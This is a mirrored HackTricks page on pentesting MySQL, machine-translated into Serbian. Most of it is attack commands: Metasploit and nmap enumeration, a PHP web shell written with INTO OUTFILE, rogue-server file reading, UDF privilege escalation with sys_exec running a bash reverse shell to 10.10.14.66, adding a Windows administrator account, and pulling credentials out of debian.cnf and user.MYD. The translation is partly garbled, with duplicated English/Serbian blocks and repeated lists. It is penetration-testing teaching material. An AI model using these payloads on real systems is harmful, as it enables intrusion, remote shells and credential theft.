Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-mysql.md
Translator workflow 6c06826974 Translated to Serbian
2024-02-10 13:11:20 +00:00

34 KiB
Raw Blame History

3306 - Pentesting Mysql

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

RootedCON je najrelevantniji sajber bezbednosni događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Osnovne informacije

MySQL se može opisati kao besplatni Relacioni Sistem Upravljanja Bazama Podataka (RDBMS) otvorenog koda. Radi na Structured Query Language (SQL), omogućavajući upravljanje i manipulaciju bazama podataka.

Podrazumevani port: 3306

3306/tcp open  mysql

Povezivanje

Lokalno

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Udaljeni

MySQL

MySQL je popularni open-source sistem za upravljanje bazama podataka koji se često koristi u web aplikacijama. Kao pentester, možete iskoristiti različite tehnike za testiranje sigurnosti MySQL servera.

Osnovne informacije

Da biste započeli testiranje MySQL servera, prvo morate prikupiti osnovne informacije o serveru. Ove informacije uključuju IP adresu servera, port na kojem MySQL server sluša i verziju MySQL servera.

Povezivanje na MySQL server

Nakon prikupljanja osnovnih informacija, možete se povezati na MySQL server koristeći različite metode. Ove metode uključuju korišćenje MySQL klijenta, kao što je mysql komanda, ili korišćenje alata za automatizaciju kao što je Metasploit.

Sniffing MySQL saobraćaja

Sniffing MySQL saobraćaja može biti korisno za prikupljanje informacija o komunikaciji između klijenta i servera. Možete koristiti alate kao što su Wireshark ili tcpdump za snimanje i analizu MySQL saobraćaja.

Brute forcing MySQL korisničkih naloga

Ako imate pristup do MySQL servera, možete pokušati da brute force-ujete korisničke naloge kako biste pronašli slabu lozinku. Možete koristiti alate kao što su Hydra ili Medusa za izvršavanje brute force napada na MySQL server.

SQL Injection

SQL Injection je česta ranjivost u web aplikacijama koje koriste MySQL bazu podataka. Kroz SQL Injection, napadač može izvršiti zlonamerne SQL upite na MySQL serveru. Možete koristiti alate kao što su sqlmap ili manualno izvršavati SQL Injection napade.

Eksploatacija MySQL ranjivosti

Ako pronađete ranjivost u MySQL serveru, možete je eksploatisati kako biste preuzeli kontrolu nad serverom. Ovo može uključivati izvršavanje zlonamernog koda, preuzimanje baze podataka ili izvršavanje privilegovanih komandi na serveru.

Prevencija

Da biste zaštitili MySQL server od napada, preporučuje se primena odgovarajućih sigurnosnih mera. Ove mere uključuju korišćenje jakih lozinki, redovno ažuriranje MySQL servera i implementaciju sigurnosnih pravila za ograničavanje pristupa serveru.

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Spoljna enumeracija

Neke od akcija enumeracije zahtevaju validne akreditive.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Napišite bilo koje binarne podatke

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL komande

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Prikupljanje informacija o dozvolama u MySQL-u

Da biste izvršili pentestiranje MySQL baze podataka, prvo morate prikupiti informacije o dozvolama koje su dodijeljene korisnicima. Ove informacije će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.

1. Prikupljanje informacija o korisnicima

Prvo, koristite SQL upit SELECT user FROM mysql.user; da biste dobili listu svih korisnika u bazi podataka. Ovaj upit će vam prikazati korisnička imena koja možete dalje istraživati.

2. Prikupljanje informacija o privilegijama

Zatim, koristite SQL upit SHOW GRANTS FOR 'korisnicko_ime'@'localhost'; da biste dobili informacije o privilegijama koje su dodijeljene određenom korisniku. Zamijenite 'korisnicko_ime' sa stvarnim korisničkim imenom koje želite istražiti.

3. Prikupljanje informacija o privilegijama za sve korisnike

Ako želite dobiti informacije o privilegijama za sve korisnike odjednom, koristite SQL upit SELECT user, host, authentication_string FROM mysql.user;. Ovaj upit će vam prikazati korisnička imena, hostove i autentifikacijske stringove za sve korisnike.

4. Prikupljanje informacija o privilegijama za baze podataka

Konačno, koristite SQL upit SHOW GRANTS FOR 'korisnicko_ime'@'localhost'; da biste dobili informacije o privilegijama koje su dodijeljene korisniku za određenu bazu podataka. Zamijenite 'korisnicko_ime' sa stvarnim korisničkim imenom i 'localhost' sa stvarnom adresom hosta.

Prikupljanje ovih informacija o dozvolama u MySQL-u će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Možete videti u dokumentaciji značenje svakog privilegija: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL proizvoljno čitanje fajla od strane klijenta

Zapravo, kada pokušate da učitate lokalne podatke u tabelu, MySQL ili MariaDB server traži klijenta da ga pročita i pošalje sadržaj. Ako možete da izmenite mysql klijent da se poveže sa vašim MySQL serverom, možete čitati proizvoljne fajlove.
Molimo vas da primetite da se ovo ponašanje javlja kada koristite:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Zapažanje reči "lokalno")
Jer bez "lokalno" možete dobiti:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Početni PoC: https://github.com/allyshka/Rogue-MySql-Server
U ovom radu možete videti potpisan opis napada i čak kako ga proširiti na RCE: https://paper.seebug.org/1113/
Ovde možete pronaći pregled napada: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta za profesionalce iz oblasti tehnologije i kibernetičke bezbednosti u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

POST

Mysql Korisnik

Bilo bi veoma interesantno ako mysql radi kao root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Opasne postavke mysqld.cnf

U konfiguraciji MySQL servisa koriste se različite postavke za definisanje njegovog rada i sigurnosnih mera:

  • Postavka user se koristi za određivanje korisnika pod kojim će MySQL servis biti izvršen.
  • password se koristi za uspostavljanje lozinke povezane sa MySQL korisnikom.
  • admin_address određuje IP adresu koja osluškuje TCP/IP veze na administrativnom mrežnom interfejsu.
  • Promenljiva debug ukazuje na trenutne konfiguracije za debagiranje, uključujući osetljive informacije unutar logova.
  • sql_warnings upravlja generisanjem informacionih nizova za INSERT izjave sa jednim redom kada se pojave upozorenja, uključujući osetljive podatke unutar logova.
  • Pomoću secure_file_priv se ograničava opseg operacija uvoza i izvoza podataka radi poboljšanja sigurnosti.

Eskalacija privilegija

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Eskalacija privilegija putem biblioteke

Ako mysql server radi kao root (ili drugi korisnik sa više privilegija), možete ga naterati da izvršava komande. Za to je potrebno koristiti korisnički definisane funkcije. Da biste kreirali korisnički definisanu funkciju, potrebna vam je biblioteka za operativni sistem na kojem se izvršava mysql.

Zlonamerna biblioteka koju treba koristiti može se pronaći unutar sqlmap-a i metasploita pomoću komande locate "*lib_mysqludf_sys*". Datoteke sa ekstenzijom .so su linux biblioteke, a one sa ekstenzijom .dll su Windows biblioteke, izaberite onu koja vam je potrebna.

Ako nemate te biblioteke, možete ih ili potražiti, ili preuzeti ovaj linux C kod i kompajlirati ga unutar ranjive linux mašine:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Sada kada imate biblioteku, prijavite se unutar Mysql-a kao privilegovan korisnik (root?) i pratite sledeće korake:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

Виндоус

MySQL Service
MySQL Сервис
MySQL Enumeration
MySQL Enumeracija

MySQL enumeration is the process of gathering information about a MySQL server, such as the version, databases, tables, and users. This information can be useful for further exploitation.

MySQL enumeracija je proces prikupljanja informacija o MySQL serveru, kao što su verzija, baze podataka, tabele i korisnici. Ove informacije mogu biti korisne za daljnje iskorišćavanje.

MySQL Version
MySQL Verzija

To determine the version of MySQL running on the target system, you can use the following methods:

Da biste odredili verziju MySQL koja se izvršava na ciljnom sistemu, možete koristiti sledeće metode:

  • Banner Grabbing: Analyze the MySQL server banner to extract the version information.

  • Banner Grabbing: Analizirajte MySQL server baner da biste izvukli informacije o verziji.

  • Error Messages: Exploit known vulnerabilities to trigger error messages that reveal the MySQL version.

  • Error Messages: Iskoristite poznate ranjivosti da biste izazvali poruke o greškama koje otkrivaju verziju MySQL-a.

  • SQL Queries: Execute SQL queries to retrieve the version information from the database.

  • SQL Upiti: Izvršite SQL upite da biste dobili informacije o verziji iz baze podataka.

MySQL Databases
MySQL Baze podataka

To enumerate the databases present on the MySQL server, you can use the following methods:

Da biste nabrojali baze podataka prisutne na MySQL serveru, možete koristiti sledeće metode:

  • SHOW DATABASES: Execute the SHOW DATABASES command to list all the databases.

  • SHOW DATABASES: Izvršite komandu SHOW DATABASES da biste izlistali sve baze podataka.

  • Information Schema: Query the information_schema database to retrieve information about the databases.

  • Information Schema: Upitajte bazu podataka information_schema da biste dobili informacije o bazama podataka.

MySQL Tables
MySQL Tabele

To enumerate the tables within a specific database, you can use the following methods:

Da biste nabrojali tabele unutar određene baze podataka, možete koristiti sledeće metode:

  • SHOW TABLES: Execute the SHOW TABLES command to list all the tables in the selected database.

  • SHOW TABLES: Izvršite komandu SHOW TABLES da biste izlistali sve tabele u izabranoj bazi podataka.

  • Information Schema: Query the information_schema database to retrieve information about the tables in a specific database.

  • Information Schema: Upitajte bazu podataka information_schema da biste dobili informacije o tabelama u određenoj bazi podataka.

MySQL Users
MySQL Korisnici

To enumerate the users present on the MySQL server, you can use the following methods:

Da biste nabrojali korisnike prisutne na MySQL serveru, možete koristiti sledeće metode:

  • SHOW USERS: Execute the SHOW USERS command to list all the users.

  • SHOW USERS: Izvršite komandu SHOW USERS da biste izlistali sve korisnike.

  • mysql.user Table: Query the mysql.user table to retrieve information about the users.

  • mysql.user Tabela: Upitajte tabelu mysql.user da biste dobili informacije o korisnicima.

MySQL Password Cracking
MySQL Dekriptovanje lozinki

If you have obtained a MySQL hash, you can attempt to crack it using various password cracking techniques, such as dictionary attacks, brute-force attacks, or rainbow table attacks.

Ako ste dobili MySQL heš, možete pokušati da ga dekriptujete koristeći različite tehnike dekriptovanja lozinki, kao što su napadi rečnikom, napadi iscrpnom pretragom ili napadi pomoću rainbow tabela.

MySQL Command Execution
MySQL Izvršavanje komandi

If you have the necessary privileges, you can execute operating system commands through MySQL using the sys_exec() function or by writing user-defined functions.

Ako imate potrebne privilegije, možete izvršavati operativne sistemske komande putem MySQL-a koristeći funkciju sys_exec() ili pisanjem korisnički definisanih funkcija.

MySQL File Read/Write
MySQL Čitanje/Pisanje fajlova

If you have the necessary privileges, you can read and write files on the target system using MySQL. This can be useful for retrieving sensitive information or uploading malicious files.

Ako imate potrebne privilegije, možete čitati i pisati fajlove na ciljnom sistemu koristeći MySQL. Ovo može biti korisno za dobijanje osetljivih informacija ili otpremanje zlonamernih fajlova.

MySQL Database Backup
MySQL Bekap baze podataka

To perform a backup of a MySQL database, you can use the mysqldump command-line tool or the SELECT INTO OUTFILE SQL statement.

Da biste izvršili bekup baze podataka MySQL, možete koristiti alat mysqldump sa komandne linije ili SQL naredbu SELECT INTO OUTFILE.

MySQL Database Restore
MySQL Obnova baze podataka

To restore a MySQL database from a backup, you can use the mysql command-line tool or the LOAD DATA INFILE SQL statement.

Da biste obnovili MySQL bazu podataka iz bekupa, možete koristiti alat mysql sa komandne linije ili SQL naredbu LOAD DATA INFILE.

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Izvlačenje MySQL akreditacija iz datoteka

Unutar /etc/mysql/debian.cnf možete pronaći lozinku u obliku običnog teksta za korisnika debian-sys-maint.

cat /etc/mysql/debian.cnf

Možete koristiti ove podatke za prijavu u MySQL bazu podataka.

Unutar datoteke: /var/lib/mysql/mysql/user.MYD možete pronaći sve hešove MySQL korisnika (one koje možete izvući iz mysql.user unutar baze podataka).

Možete ih izvući koristeći:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Omogućavanje beleženja

Možete omogućiti beleženje MySQL upita unutar /etc/mysql/my.cnf datoteke uklanjanjem komentara sa sledećih linija:

Korisni fajlovi

Konfiguracioni fajlovi

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Istorija komandi
  • ~/.mysql.history
  • Log fajlovi
  • connections.log
  • update.log
  • common.log

Podrazumevane MySQL baze/tabele

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host

schema_table_statistics

schema_table_statistics

schema_table_statistics_with_buffer

schema_table_statistics_with_buffer

schema_tables_with_full_table_scans

schema_tables_with_full_table_scans

schema_unused_indexes

schema_unused_indexes

session

session

session_ssl_status

session_ssl_status

statement_analysis

statement_analysis

statements_with_errors_or_warnings

statements_with_errors_or_warnings

statements_with_full_table_scans

statements_with_full_table_scans

statements_with_runtimes_in_95th_percentile

statements_with_runtimes_in_95th_percentile

statements_with_sorting

statements_with_sorting

statements_with_temp_tables

statements_with_temp_tables

sys_config

sys_config

user_summary

user_summary

user_summary_by_file_io

user_summary_by_file_io

user_summary_by_file_io_type

user_summary_by_file_io_type

user_summary_by_stages

user_summary_by_stages

user_summary_by_statement_latency

user_summary_by_statement_latency

user_summary_by_statement_type

user_summary_by_statement_type

version

version

wait_classes_global_by_avg_latency

wait_classes_global_by_avg_latency

wait_classes_global_by_latency

wait_classes_global_by_latency

waits_by_host_by_latency

waits_by_host_by_latency

waits_by_user_by_latency

waits_by_user_by_latency

waits_global_by_latency

waits_global_by_latency

x$host_summary

x$host_summary

x$host_summary_by_file_io

x$host_summary_by_file_io

x$host_summary_by_file_io_type

x$host_summary_by_file_io_type

x$host_summary_by_stages

x$host_summary_by_stages

x$host_summary_by_statement_latency

x$host_summary_by_statement_latency

x$host_summary_by_statement_type

x$host_summary_by_statement_type

x$innodb_buffer_stats_by_schema

x$innodb_buffer_stats_by_schema

x$innodb_buffer_stats_by_table

x$innodb_buffer_stats_by_table

x$innodb_lock_waits

x$innodb_lock_waits

x$io_by_thread_by_latency

x$io_by_thread_by_latency

x$io_global_by_file_by_bytes

x$io_global_by_file_by_bytes

x$io_global_by_file_by_latency

x$io_global_by_file_by_latency

x$io_global_by_wait_by_bytes

x$io_global_by_wait_by_bytes

x$io_global_by_wait_by_latency

x$io_global_by_wait_by_latency

x$latest_file_io

x$latest_file_io

x$memory_by_host_by_current_bytes

x$memory_by_host_by_current_bytes

x$memory_by_thread_by_current_bytes

x$memory_by_thread_by_current_bytes

x$memory_by_user_by_current_bytes

x$memory_by_user_by_current_bytes

x$memory_global_by_current_bytes

x$memory_global_by_current_bytes

x$memory_global_total

x$memory_global_total

x$processlist

x$processlist

x$ps_digest_95th_percentile_by_avg_us

x$ps_digest_95th_percentile_by_avg_us

x$ps_digest_avg_latency_distribution

x$ps_digest_avg_latency_distribution

x$ps_schema_table_statistics_io

x$ps_schema_table_statistics_io

x$schema_flattened_keys

x$schema_flattened_keys

x$schema_index_statistics

x$schema_index_statistics

x$schema_table_lock_waits

x$schema_table_lock_waits

x$schema_table_statistics

x$schema_table_statistics

x$schema_table_statistics_with_buffer

x$schema_table_statistics_with_buffer

x$schema_tables_with_full_table_scans

x$schema_tables_with_full_table_scans

x$session

x$session

x$statement_analysis

x$statement_analysis

x$statements_with_errors_or_warnings

x$statements_with_errors_or_warnings

x$statements_with_full_table_scans

x$statements_with_full_table_scans

x$statements_with_runtimes_in_95th_percentile

x$statements_with_runtimes_in_95th_percentile

x$statements_with_sorting

x$statements_with_sorting

x$statements_with_temp_tables

x$statements_with_temp_tables

x$user_summary

x$user_summary

x$user_summary_by_file_io

x$user_summary_by_file_io

x$user_summary_by_file_io_type

x$user_summary_by_file_io_type

x$user_summary_by_stages

x$user_summary_by_stages

x$user_summary_by_statement_latency

x$user_summary_by_statement_latency

x$user_summary_by_statement_type

x$user_summary_by_statement_type

x$wait_classes_global_by_avg_latency

x$wait_classes_global_by_avg_latency

x$wait_classes_global_by_latency

x$wait_classes_global_by_latency

x$waits_by_host_by_latency

x$waits_by_host_by_latency

x$waits_by_user_by_latency

x$waits_by_user_by_latency

x$waits_global_by_latency

x$waits_global_by_latency

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCON je najrelevantniji događaj u vezi sa kibernetičkom bezbednošću u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto susreta tehnoloških i kibernetičkih stručnjaka u svakoj disciplini.

{% embed url="https://www.rootedcon.com/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: